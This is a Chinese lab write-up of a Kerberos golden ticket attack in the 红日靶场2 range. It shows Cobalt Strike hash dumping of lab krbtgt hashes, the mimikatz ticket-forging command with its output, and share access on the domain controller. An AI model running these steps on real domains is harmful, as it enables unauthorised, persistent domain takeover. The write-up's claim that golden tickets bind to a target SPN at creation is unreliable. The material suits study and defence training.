目录
[一、黄金票据(Golden Ticket)](#一、黄金票据(Golden Ticket))
[1、Kerberos 认证协议](#1、Kerberos 认证协议)
[(1)第一步:认证服务AS交换 --- 获取 TGT(获取通行证)](#(1)第一步:认证服务AS交换 — 获取 TGT(获取通行证))
[(2)第二步:票据授予服务TGS交换 --- 获取 ST(兑换服务票)](#(2)第二步:票据授予服务TGS交换 — 获取 ST(兑换服务票))
[(3)第三步:客户端/服务器交换 --- 访问服务(持票访问)](#(3)第三步:客户端/服务器交换 — 访问服务(持票访问))
[(2)攻击实施:伪造 TGT](#(2)攻击实施:伪造 TGT)
[(1)net user /domain](#(1)net user /domain)
[(2)dir \\10.10.10.10\C](#(2)dir \\10.10.10.10\C)
[(3)shell dir \\DC\C](#(3)shell dir \\DC\C)
本文通过红日靶场2的实战演练,详细解析了Kerberos认证协议流程及黄金票据攻击技术。Kerberos认证采用三方交互机制:客户端通过AS获取TGT,再向TGS申请ST,最终访问服务。黄金票据攻击的核心在于获取krbtgt账户的NTLM哈希和域SID后,伪造高权限TGT票据。实战中,攻击者利用mimikatz工具成功生成黄金票据并注入内存,实现了对域控资源的访问权限提升。值得注意的是,黄金票据仅对基于计算机名的SPN有效,而无法直接用于IP地址访问,这揭示了Kerberos认证对目标标识格式的严格要求。该技术危害性在于其持久性和隐蔽性,只要krbtgt密码未变更,攻击者即可持续保持域内控制权。
一、黄金票据(Golden Ticket)
黄金票据是网络安全领域中一种针对 Kerberos 认证协议的高级持续性威胁(APT)攻击技术,主要用于获取目标域内的最高权限(域管理员权限),且具有隐蔽性强、难以检测的特点,是黑客在域渗透测试和真实攻击中常用的核心手段之一。
1、Kerberos 认证协议
Kerberos 认证协议的核心逻辑 ------ 它是 Windows 域环境中用于身份验证的默认协议,通过 "三方认证"(客户端、密钥分发中心 KDC、目标服务)确保身份合法性,其中关键组件包括:
-
Client: 想要访问服务的用户或计算机。
-
Server: 用户想要访问的特定服务(如文件共享 CIFS、HTTP 服务等)。
-
KDC(密钥分发中心) :域内的认证核心,包含两个子服务:
- AS(身份认证服务):验证客户端身份,发放 "票据授予票据(TGT)";
- TGS(票据授予服务):根据客户端的 TGT,发放访问特定服务的 "服务票据(ST)"。
-
TGT(Ticket-Granting Ticket, 票据授予票据**)** :客户端向 AS 申请的 "临时身份凭证",,用于向 TGS 证明"我已通过 KDC 认证",后续向 TGS 申请访问具体服务的权限。它由
krbtgt账户的哈希加密。 -
ST(Server Ticket ,服务票据):用户访问特定服务的"门票",由目标服务密码哈希加密。
-
Session Key: 会话密钥。由 KDC 生成的临时对称密钥,用于 Client 和 KDC 或 Client 和 Server 之间的安全通信。
-
Authenticator: 验证器。由 Client 生成,用 Session Key 加密的一个时间戳,用于向接收方证明"我就是票据的真正拥有者"
-
KRBTGT 账户:域内的内置账户,仅用于加密 / 解密 TGT(其 NTLM 哈希或 AES 密钥是生成 TGT 的核心)
2、Kerberos认证流程

(1)第一步:认证服务AS交换 --- 获取 TGT(获取通行证)
客户端向认证服务AS发起请求,证明自身身份后,会收到一个由krbtgt密钥 加密的票据授予票据(TGT) 和一个用用户密钥 加密的会话密钥;客户端能解密出会话密钥却无法解读TGT,这相当于获得了一把无法复制的钥匙和一张防伪的通行证,凭此可在有效期内向票据授予服务申请各类服务票据。
-
客户端请求 : 用户输入用户名密码后,客户端将用户名明文发送给 KDC 的 AS,请求认证。
-
KDC 响应: KDC 检查用户存在后,会生成两个东西:
-
TGS Session Key: 一个临时会话密钥,用于后续 Client 与 TGS 的通信。
-
TGT : 包含客户端身份信息、时间戳、TGT 有效期以及刚才生成的 TGS Session Key。
KDC 对这两个东西进行加密,然后将这两个加密后的数据包一起返回给客户端。
-
将 TGT 用 krbtgt 用户的密码哈希进行加密。这样只有 KDC 自己能解密。
-
将 TGS Session Key 用用户密码的哈希进行加密。
-
-
客户端处理 : 客户端收到后,用自己的密码哈希解密出 TGS Session Key 。至此,客户端获得了 TGS Session Key,但无法解密 TGT。客户端将 TGT 和 TGS Session Key 安全地保存在内存中。
(2)第二步:票据授予服务TGS交换 --- 获取 ST(兑换服务票)
当需要访问特定服务时,客户端将TGT连同用会话密钥 加密的验证器 一并提交给票据授予服务TGS;TGS用krbtgt密钥解密TGT获取会话密钥,再用它解密验证器以确认客户端身份,随后生成一个由服务密钥 加密的服务票据 和一个新的服务会话密钥返回给客户端,至此客户端拿到了访问目标服务的专属门票。
-
客户端请求: 当客户端需要访问一个特定服务时,它会向 KDC 的 TGS 发送两个东西:
-
上一步获取的 TGT( 用 krbtgt 用户的密码哈希进行加密)。
-
Authenticator ,其中包含客户端身份和时间戳,并用 TGS Session Key 加密。
-
-
KDC 响应: TGS 收到请求后:
-
用
krbtgt的哈希解密 TGT ,从中取出 TGS Session Key。 -
用取出的 TGS Session Key 解密 Authenticator。
-
比较 TGT 和 Authenticator 中的客户端信息、时间戳等,验证通过后,生成两个新东西:
-
Service Session Key: 一个用于客户端和服务端之间通信的临时会话密钥。
-
ST : 服务票据,里面包含客户端身份和 Service Session Key。
-
KDC 对这两个东西进行加密,然后将这两个加密后的数据包返回给客户端。
-
将 ST 用目标服务密码的哈希进行加密。这样只有目标服务自己能解密。
-
将 Service Session Key 用 TGS Session Key 进行加密。
-
(3)第三步:客户端/服务器交换 --- 访问服务(持票访问)
客户端最后将服务票据与一个用服务会话密钥加密的新验证器发送给目标服务;服务端使用自己的密钥解密服务票据,提取出服务会话密钥后解密验证器,核对信息无误后便确认了客户端的合法身份,随即授权访问,整个过程确保了身份认证的安全性与可靠性。
-
客户端请求: 客户端现在可以访问服务了。它向服务端发送两个东西:
-
上一步获取的 ST(目标服务密码的哈希)。
-
新的 Authenticator ,包含客户端身份和时间戳,并用 Service Session Key 加密。
-
-
服务端验证与响应: 服务端收到请求后:
-
用自己密码的哈希解密 ST ,从中取出 Service Session Key 和客户端信息。
-
用取出的 Service Session Key 解密 Authenticator。
-
比较 ST 和 Authenticator 中的信息,并检查时间戳防止重放攻击。
-
验证通过后,服务端就知道客户端是经过 KDC 认证的合法用户,于是授权访问。
-

sequenceDiagram
participant C as Client (用户)
participant AS as Authentication Service (AS)
participant TGS as Ticket Granting Service (TGS)
participant S as Server (服务,如CIFS)
Note over C, AS: 第一步:获取门票兑换券 (TGT)
C->>AS: 1. 明文发送用户名
Note right of C: 相当于:我是userX,请认证我
AS-->>C: 2. 返回 TGT (krbtgt 哈希加密) + TGS Session Key (用户密码哈希加密)
Note left of AS: 相当于TGT是门票兑换券,Session Key是兑换券的密码
Note over C, TGS: 第二步:获取具体游乐设施票 (ST)
C->>TGS: 3. 发送 TGT + Authenticator (TGS Session Key加密) + 服务名
Note right of C: 相当于我有门票兑换券和兑换券的密码,并告知我要访问CIFS服务
TGS-->>C: 4. 返回 Service Ticket (服务密码加密) + Service Session Key (TGS Session Key 加密)
Note over C, S: 第三步:凭票访问服务
C->>S: 5. 发送 Service Ticket + Authenticator (Service Session Key加密)
Note right of C: 相当于我拿者服务器盖章后的票据,证明我是票据的真正使用者
S-->>C: 6. 服务访问授权
Note left of S: 服务用自己的密码哈希<br>解密Service Ticket验证身份
3、黄金票据原理
黄金票据的核心原理是:攻击者通过掌握域控的"印章"(krbtgt用户的哈希),自己伪造一张合法的Kerberos身份认证票据(TGT),从而可以冒充域内的任何用户。它 绕过了 Kerberos 流程的第一步,并伪造了第一步的产出物------TGT。攻击者利用这个自制的、但"真实有效"的 TGT,直接进入后续流程,从而欺骗整个系统。

黄金票据的原理可以概括为:攻击者通过窃取域控的核心密钥,非法夺得了 Kerberos 协议中"认证服务"的票据签发权。他不再需要向 AS 证明"我是谁",因为他可以自己给自己签发一张证明"我是任何人"的万能通行证。系统后续的所有验证环节,都因为信任这个核心密钥而全部放行。 这正是黄金票据被称为"域持久化的终极后门"的原因------只要 krbtgt 的哈希不变,攻击者就永远拥有自己制造"合法"身份的能力。
如上图所示,黄金票据的原理并非创造一个新流程,而是劫持了合法流程的开头。
(1)攻击前提:获取核心密钥
攻击者必须事先获取两个核心信息:
-
域的 SID: 身份标识,易于获得。
-
krbtgt 用户的 NTLM 哈希: 这是攻击的基石。获取它通常意味着攻击者已经攻陷了域控制器。
(2)攻击实施:伪造 TGT
如图中"攻击"部分所示,攻击者不再需要与 AS 交互。他在任何一台域内机器上,使用 Mimikatz 等工具,输入获取到的 SID 和 krbtgt 哈希,即可自行计算并生成一张 TGT。
关键点在于: 这张伪造的 TGT 是使用域控制器真正的 krbtgt 哈希进行加密签名的。从密码学的角度来看,它和 AS 颁发的 TGT 没有任何区别。
(3)攻击完成:融入合法流程
伪造的 TGT 被注入内存后,Kerberos 协议的后续流程对攻击者而言就完全畅通了,如图中"后续共用流程"所示:
-
当攻击者需要访问服务时,系统会像使用合法 TGT 一样,拿着这张伪造的 TGT 去向 TGS 申请 ST。
-
TGS 接收到 TGT 后,会使用它自己的
krbtgt哈希去解密验证。因为解密成功且数据格式正确,TGS 会完全认可这张 TGT 的合法性,并爽快地签发所请求的 ST。 -
攻击者再用 ST 去访问最终服务,服务端同样会验证通过。
flowchart TD
subgraph Legitimate [合法流程]
A1[客户端] -->|1 AS_REQ
发送用户名| A2[认证服务 AS]
A2 -->|2 AS_REP
返回用krbtgt哈希加密的TGT| A1
endsubgraph Attack [黄金票据攻击] B1[攻击者] -->|a. 利用krbtgt哈希伪造TGT| B2[伪造的TGT] B2 -->|b. 将伪造的TGT注入内存| B1 end subgraph Subsequent [后续共用流程] C1[客户端/攻击者] -->|3 TGS_REQ<br>发送TGT与Authenticator| C2[票据授予服务 TGS] C2 -->|4 TGS_REP<br>返回服务票据ST| C1 C1 -->|5 AP_REQ<br>发送ST与Authenticator| C3[应用服务] C3 -->|6 授权访问| C1 end Legitimate --> Subsequent Attack --> Subsequent
二、信息收集
1、获取NTLM值
PC会话执行hashdump,具体步骤如下所示。

Cobalt Strike 的 hashdump 命令获取的哈希值的格式 user_name:RID:LM_hash:NTLM_hash:::具体说明如下所示。
-
User Name: 用户名
-
RID: 用户的相对标识符,用于在域内唯一标识用户。
-
LM Hash : 旧版、不安全的 Lan Manager 哈希,现代系统通常为空(显示为
aad3b435b51404eeaad3b435b51404ee)。 -
NTLM Hash: 这是我们关注的重点,是用于 NTLM 认证的密码哈希。
根据返回结果,我们得知krbtgt 用户 (RID:502) 的 NTLM 哈希值,拥有 krbtgt 的哈希,攻击者可以制作 黄金票据,其值为 82dfc71b72a11ef37d663047bc2088fb。
[09/28 23:37:50] beacon> hashdump
[09/28 23:37:50] [*] Tasked beacon to dump hashes
[09/28 23:37:50] [+] host called home, sent: 82541 bytes
[09/28 23:37:51] [+] received password hashes:
Administrator:500:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::
de1ay:1001:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
mssql:2103:aad3b435b51404eeaad3b435b51404ee:161cff084477fe596a5db81874498a24:::
DC$:1002:aad3b435b51404eeaad3b435b51404ee:ac0e46c4b5fb0d5d17a2e97ad5f269b2:::
PC$:1105:aad3b435b51404eeaad3b435b51404ee:0e8e11f7bbe51a9d7cce8cbacb7a2448:::
WEB$:1603:aad3b435b51404eeaad3b435b51404ee:21174db29e812b56c0b44f3e66d06c78::
除了krbtgt 的哈希让攻击者可以制作 黄金票据外 ,我们还发现了密码重用的安全隐患。如下所示,Administrator 、de1ay 和mssql 这三个不同权限、不同类型的账户,拥有 完全相同 的 NTLM 哈希:161cff084477fe596a5db81874498a24,这意味着它们使用的是同一个密码。这意味着 攻击者一旦获取了 de1ay 这个普通用户的哈希,就等同于获取了域管理员 Administrator 和数据库服务账户 mssql 的权限。
-
Administrator(RID:500) -
de1ay(RID:1001) -
mssql(RID:2103)
2、获取sid
查询delay\mssql账户的sid,具体如下所示。

查询delay\administrator账户的sid,具体如下所示。

综上,我们获取到域的sid为S-1-5-21-2756371121-2868759905-3853650604
|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 用户名 SID =================== ============================================= de1ay\administrator S-1-5-21-2756371121-2868759905-3853650604-500 用户名 SID =========== ============================================== de1ay\mssql S-1-5-21-2756371121-2868759905-3853650604-2103 |
3、清空已有票据
mimikatz kerberos::purge //清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造。

4、查看域权限
在PC机生成黄金票据前查看域权限,如下所示无论是通过ip地址,还是计算机名称都无法成功访问。

执行shell dir \\DC\C$,依旧无法访问,如下所示。

5、生成黄金票据

使用任意用户名ljn创建票据,具体参数如下所示。
- krbtgt:502:aad3b435b51404eeaad3b435b51404ee:82dfc71b72a11ef37d663047bc2088fb:::
- Domain : de1ay.com
- SID应该填:S-1-5-21-2756371121-2868759905-3853650604
- KRBTGT 哈希格式应该填: 82dfc71b72a11ef37d663047bc2088fb (只需要NTLM哈希部分)

执行结果如下所示,如下所示成功生成黄金票据。

黄金票据一旦成功,攻击者就拥有了一张通往目标域内任何服务的"万能门票",并且这种访问权限是持久化的,直到 krbtgt 账户的密码被更改两次为止。
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| [09/29 09:09:31] beacon> mimikatz kerberos::golden /user:ljn /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /endin:480 /renewmax:10080 /ptt [09/29 09:09:32] [*] Tasked beacon to run mimikatz's kerberos::golden /user:ljn /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /endin:480 /renewmax:10080 /ptt command [09/29 09:09:32] [+] host called home, sent: 253554 bytes [09/29 09:09:39] [+] received output: User : ljn Domain : de1ay.com (DE1AY) SID : S-1-5-21-2756371121-2868759905-3853650604 User Id : 500 Groups Id : *513 512 520 518 519 ServiceKey: 82dfc71b72a11ef37d663047bc2088fb - rc4_hmac_nt Lifetime : 2025/9/29 9:09:04 ; 2025/9/29 17:09:04 ; 2025/10/6 9:09:04 -> Ticket : ** Pass The Ticket ** * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Golden ticket for 'ljn @ de1ay.com' successfully submitted for current session |
从命令和输出中可以明确看出,成功制作黄金票据,仅依赖于以下两个条件:
-
域的 SID :
S-1-5-21-2756371121-2868759905-3853650604 -
krbtgt 用户的 NTLM 哈希 :
82dfc71b72a11ef37d663047bc2088fb
让我们将命令参数与输出结果对应起来,逐一分析:
(1)伪造的身份信息
-
命令参数 :
/user:ljn -
输出对应:
User : ljn User Id : 500 -
讲解 : 这里指定了要伪造的用户名。
ljn可以是你想冒充的任意用户 ,甚至可以是不存在的用户。输出中显示User Id : 500,这是域管理员 Administrator 的 RID。这说明攻击者故意将伪造的ljn用户提升到了域管理员权限。这是黄金票据的强大之处------可以任意指定用户及其权限。
(2)目标域信息
-
命令参数 :
/domain:de1ay.com -
输出对应 :
Domain : de1ay.com (DE1AY) -
讲解: 指定目标域的完整域名。这是票据生效的范围。
(3)核心条件一:域标识
-
命令参数 :
/sid:S-1-5-21-2756371121-2868759905-3853650604 -
输出对应 :
SID : S-1-5-21-2756371121-2868759905-3853650604 -
讲解: 这是域的安全标识符,是域的唯一身份证明。它确保了生成的黄金票据只在指定的域内有效。
(4)核心条件二:域控主密钥
-
命令参数 :
/krbtgt:82dfc71b72a11ef37d663047bc2088fb -
输出对应 :
ServiceKey: 82dfc71b72a11ef37d663047bc2088fb - rc4_hmac_nt -
讲解 : 这是整个攻击的基石。
krbtgt的 NTLM 哈希是域控制器用来加密所有 TGT 的密钥。拥有它,就拥有了签发 TGT 的权力。输出中的rc4_hmac_nt指明了加密类型,这里是 NTLM 哈希对应的 RC4 加密。
(5)票据生命周期
-
命令参数 :
/endin:480 /renewmax:10080 -
输出对应 :
Lifetime : 2025/9/29 9:09:04 ; 2025/9/29 17:09:04 ; 2025/10/6 9:09:04 -
讲解:
-
endin:480: 票据有效期为480分钟(8小时)。输出中的第一个和第二个时间点(9:09:04和17:09:04)体现了这个8小时的有效窗口。 -
renewmax:10080: 票据的最大续订期限为10080分钟(7天)。输出中的第三个时间点(2025/10/6 9:09:04)是从创建时间算起的7天后。
-
(6)攻击动作
-
命令参数 :
/ptt -
输出对应 :
Golden ticket for 'ljn @ de1ay.com' successfully submitted for current session -
讲解 : 这是最关键的操作参数。
/ptt代表 "Pass The Ticket" 。它指示 Mimikatz 不要 将生成的黄金票据保存为文件,而是直接注入到当前 Windows 会话的内存中 。输出中的successfully submitted for current session表明注入成功,攻击者可以立即使用这张票据。
(7)票据生成过程
输出中的以下日志展示了 Mimikatz 在后台构建一个合法 TGT 的过程:
text
* PAC generated // 生成特权属性证书
* PAC signed // 使用krbtgt哈希对PAC进行签名
* EncTicketPart generated // 生成加密的票据部分
* EncTicketPart encrypted // 使用krbtgt哈希加密票据
* KrbCred generated // 最终生成Kerberos凭据
过程证明Mimikatz 完美地模拟了域控制器的 TGT 签发流程,因此产出的票据是"真实有效"的。
6、查看票据生成结果
mimikatz kerberos::list 命令用于列出当前 Windows 会话中缓存的所有 Kerberos 票据。执行后会显示票据的详细信息,包括客户端、服务、开始时间/结束时间/续订时间等关键元数据。特别地,它会标识出票据是票证授予票证还是服务票证。此命令能直观揭示认证活动,是检测票据传递攻击的关键工具。
mimikatz kerberos::list

7、再次查看域权限
(1)net user /domain
输入shell net user /domain查询域用户信息,向域控制器查询当前域中的所有用户账户列表。
-
net user:用于管理本地用户账户。 -
/domain:这个参数指示命令操作在域级别执行,而不是本地计算机。

(2)dir \\10.10.10.10\C$
PC机使用ip地址访问如下命令依旧不好用(关闭fw前后都不好用)。
shell dir \\10.10.10.10\C$

(3)shell dir \\DC\C$
将ip地址改为DC的计算机名称,如下所示,渗透成功。
shell dir \\DC\C$

shell dir \\WEB\C$

如上所示,黄金票据有效,成功获取到域控和Web设备的权限。
(4)分析总结
本关卡在生成黄金票据后,访问域控,使用ip地址失败shell dir \\10.10.10.10\C,但是使用计算机名成功shell dir \\\\DC\\C ,这是为什么呢?核心原因是 Kerberos 认证对 "目标标识格式" 的严格要求,以及 IP 地址与计算机名在 Kerberos 票据验证逻辑中的本质差异。
-
Kerberos 依赖 SPN :
Kerberos 协议不直接使用 IP 地址或简单的 NetBIOS 名进行认证。它依赖于服务主体名称 。对于文件共享服务,其 SPN 格式类似于
cifs/DC.de1ay.com或cifs/DC。 -
默认的 SPN 注册 :
在域中,计算机会自动将其主机名和完整域名注册为各种服务(如
CIFS、HOST、LDAP等)的 SPN。例如,域控制器DC会注册:-
cifs/DC -
cifs/DC.de1ay.com -
host/DC -
host/DC.de1ay.com
但是,它通常不会自动注册一个与其 IP 地址相关联的 SPN,如
cifs/10.10.10.10。 -
-
Kerberos 票据的 "服务主体名(SPN)" 绑定限制 :生成黄金票据时,会指定目标服务的 SPN(如 "cifs/DC.domain.com",其中 "cifs" 是文件共享服务类型,"DC.domain.com" 是域控的完整计算机名),票据内容与该 SPN 强绑定。当访问
\\DC\C$时,系统会自动解析为域控的完整计算机名,匹配票据中的 SPN,Kerberos 验证通过;而访问\\10.10.10.10\C$时,系统会将目标标识识别为 IP 地址,尝试匹配 "cifs/10.10.10.10" 这类 SPN,但黄金票据中并未包含该 IP 对应的 SPN,导致验证失败。